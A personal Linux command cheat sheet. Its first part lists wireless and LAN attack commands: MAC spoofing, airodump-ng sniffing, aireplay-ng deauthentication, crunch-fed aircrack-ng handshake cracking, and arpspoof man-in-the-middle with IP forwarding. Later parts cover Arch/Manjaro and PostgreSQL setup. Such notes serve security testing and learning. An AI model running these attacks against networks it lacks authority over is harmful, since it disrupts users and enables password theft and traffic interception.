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WIFI

display all network interfaces

 ifconfig

display all wireless network interfaces 

iwconfig

turn on/off a specific network interface

ifconfig wlan0 down

ifconfig wlan0 up

 

change mac address

Warning: the network interface must be down to change the mac address.

Warning: the network interface will recover it's original mac address when the OS will be rebooted because it's only changed in memory. 

Warning: you can find the mac address of a network interface in the "ether" section of the report generated by ifconfig.

ifconfig wlan0 hw ether 00:11:22:33:44:55

 

change wireless interface in mode monitor 

iwconfig wlan0 mode monitor

sniffing on 5ghz wireless networks

 airodump-ng --band a wlan0

sniffing on 2.4 and 5ghz wireless networks

 airodump-ng --band abg wlan0  

sniffing on a specific bssid and channel and write the output in a file

airodump-ng --bssid <enter bssid> --channel <channel number> --write <name of the test> wlan0

deauthentication

Warning: the higher the number of packets to send is, the longer the client will be disconnected. In case you just want to capture the handshake a value of 4 or 5 is sufficiant.

aireplay-ng --deauth <number of packets to send> -a <bssid> -c <client to disconnect mac> wlan0

 

crunch combined with aircrack-ng

crunch 8 8 01 | aircrack-ng test-01.cap -e F-7FF6A5 -w-

• 8 8 : 8 chars min and max, only tests 0 and 1 possibilities
  
• test-01.cap : name of the file containing the handshake
  
• -e F-7FF6A5 : name of the wifi network
  
• -w- : without wordlist

crunch 

more realistic example using the charset feature of crunsh and limiting repetitions for lowercase, upercase, numbers and signs to a maximum of 2 repetitions.

crunch 6 12 charset.lst mixalpha-numeric-symbol14-space -d 2@ -d 2, -d 3% -d 2^| aircrack-ng test-01.cap -e <name of the wifi network> -w-

ARP SPOOFING

With arpspoof

192.168.0.1 = target

192.168.0.254 = router

execute simultaneously

arpspoof -i eth0 -t 192.168.0.1 192.168.0.254

arpspoof -i eth0 -t 192.168.0.254 192.168.0.1

then enable port forwarding on your local machine (to act like a router)

echo 1> /proc/sys/net/ipv4/ip_forward

 

with bettercap 

 

 

how to install owncloud client on Arch?

 sudo pacman -S community/owncloud-client

how to move /home to another hard drive?

 https://www.howtogeek.com/442101/how-to-move-your-linux-home-directory-to-another-hard-drive/

vscode arch snapd

 sudo system-ctl start snapd

Laptop graphics card and manjaro / arch

 https://wiki.manjaro.org/index.php/Configure_Graphics_Cards#Dual_GPU

https://wiki.archlinux.org/index.php/PRIME

list everything about your machine

inxi -Fxzc0

 

list graphics cards

xrandr --listproviders

 

 

 

how to know what is already using a port on your local machine (linux) ?

lsof -i tcp:80

postgresql on Arch/Manjaro

Install: pacman -S postgresql
= this will create user "postgres"

Then: sudo passwd postgres
= choose a password

Then switch to postgres user using:

sudo -iu postgres

Then: 
[postgres]$ initdb -D /var/lib/postgres/data

Then: 

systemctl enable postgresql 

and

systemctl start postgresql

Then 

Become the postgres user.

sudo -iu postgres

Add a new database user using the createuser command:
[postgres]$ createuser --interactive

Create a new database over which the above user has read/write privileges using the createdb command (execute this command from your login shell if the database user has the same name as your Linux user, otherwise add -O database-username to the following command):

$ createdb myDatabaseName

Then to connect:

[postgres]$ psql -d myDatabaseName

Some helpful commands:
Get help:
=> \help Connect to a particular database:
=> \c <database> List all users and their permission levels:
=> \du Show summary information about all tables in the current database:
=> \dt Exit/quit the psql shell:
=> \q or CTRL+d

sources http://www.postgresqltutorial.com/postgresql-uuid/

Add the UUID plugin:
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
Test it with:
SELECT uuid_generate_v1();